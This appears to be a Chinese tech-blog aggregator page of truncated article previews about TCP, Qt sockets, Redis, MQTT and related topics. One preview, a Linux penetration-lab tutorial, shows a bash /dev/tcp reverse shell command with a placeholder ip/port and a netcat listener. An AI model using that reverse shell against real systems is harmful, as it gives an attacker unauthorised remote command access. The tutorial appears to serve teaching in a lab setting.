隔壁老王 隔壁老王
3年前
Qt使用QSocket做tcp简单客户端
首先要在工程文件.por中添加network添加新文件在头文件中导入qtcpsocket之后定义成员函数用于发送和接收数据Qt封装的socket使用的是信号槽监听接收到的数据所以需要添加监听使用的传输格式报文长度8字节字符串base64转码的json报文头文件cppifndefTCPSOCKETHdefineTCPSOCKETHinclude<Q
东方客主 东方客主
3年前
HTTP面试题精选_langsiming的博客
1.简述下TCP三次握手的过程,并解释采用3次握手建立连接的原因?1.客户端发送建立连接请求,携带信息syn1,seq X 第一次握手2.
可莉 可莉
3年前
13. linux渗透之反弹shell
实验环境CentOS6.5:192.168.0.3kali2.0:192.168.0.4方法1:反弹shell命令如下:bashi&/dev/tcp/ip/port0&1首先,使用nc在kali上监听端口:nclvp7777!0DdE723LF1.png(h
Stella981 Stella981
3年前
Django基础介绍
Djangoweb应用的本质socket网络编程:​架构:C/S架构​协议:TCP/UDP协议​传输层web应用:​架构:B/S架构​协议:Http协议​应用层字符串转字节:bytes('hfihajfaiuu',encoding'utf8')字节转字符串:str(res,
Stella981 Stella981
3年前
Redis入门(1)
在Docker中使用RedisRedisCli命令的返回值类型Redis中的多数据库基础命令Redis是REmoteDIctionaryServer(远程字典服务器)的缩写,它以字典结构存储数据,并允许其他应用通过TCP协议读写字典中的内容。Red
Wesley13 Wesley13
3年前
Vertx eventbus模块解析
eventbus事件總線協議棧TCP分包,粘包解決採用方案:消息定长(定義消息体總长度),消息分为消息头和消息体dataTypebytesdescriptionint4包体总大小code:<<buffer.setInt(0,buffer.length()4)by
Wesley13 Wesley13
3年前
MQTT实战之MQTT入门
MQTT入门介绍(一)一.MQTT简述MQTT(MessageQueuingTelemetryTransport,消息队列遥测传输协议),是一种基于发布/订阅(publish/subscribe)模式的"轻量级"通讯协议,该协议构建于TCP/IP协议上,由IBM在1999年发布。MQTT最大优点在
Easter79 Easter79
3年前
STM32407+LAN8720A+LWIP 实现TCP Client
硬件!(https://oscimg.oschina.net/oscnet/ce3175c3843fc07639f24bbe884da8fd68a.png)一、配置CubeMax工程
Stella981 Stella981
3年前
Linux TCP状态TIME_WAIT 过多的处理
首先处理这个问题,我们要知道一些网络知识,要知道tcp那些事,比如说三次握手,和四次挥手......很多人会问,为什么建链接要3次握手,断链接需要4次挥手?让我们一起看下下面的流程图:!(https://oscimg.oschina.net/oscnet/ba31b9bb7eb29744a5d169c56c656df7045.jpg)首先,是三次
Wesley13 Wesley13
3年前
Mysql_Learning_Notes_mysql系统结构_2
Mysql\_Learning\_Notes\_mysql系统结构\_2三层体系结构,启动方式,日志类型及解析方法,mysql升级连接层通信协议处理\\线程处理\\账号认证(用户名和密码认证)\\安全检查等tcp/ip连接网络端口号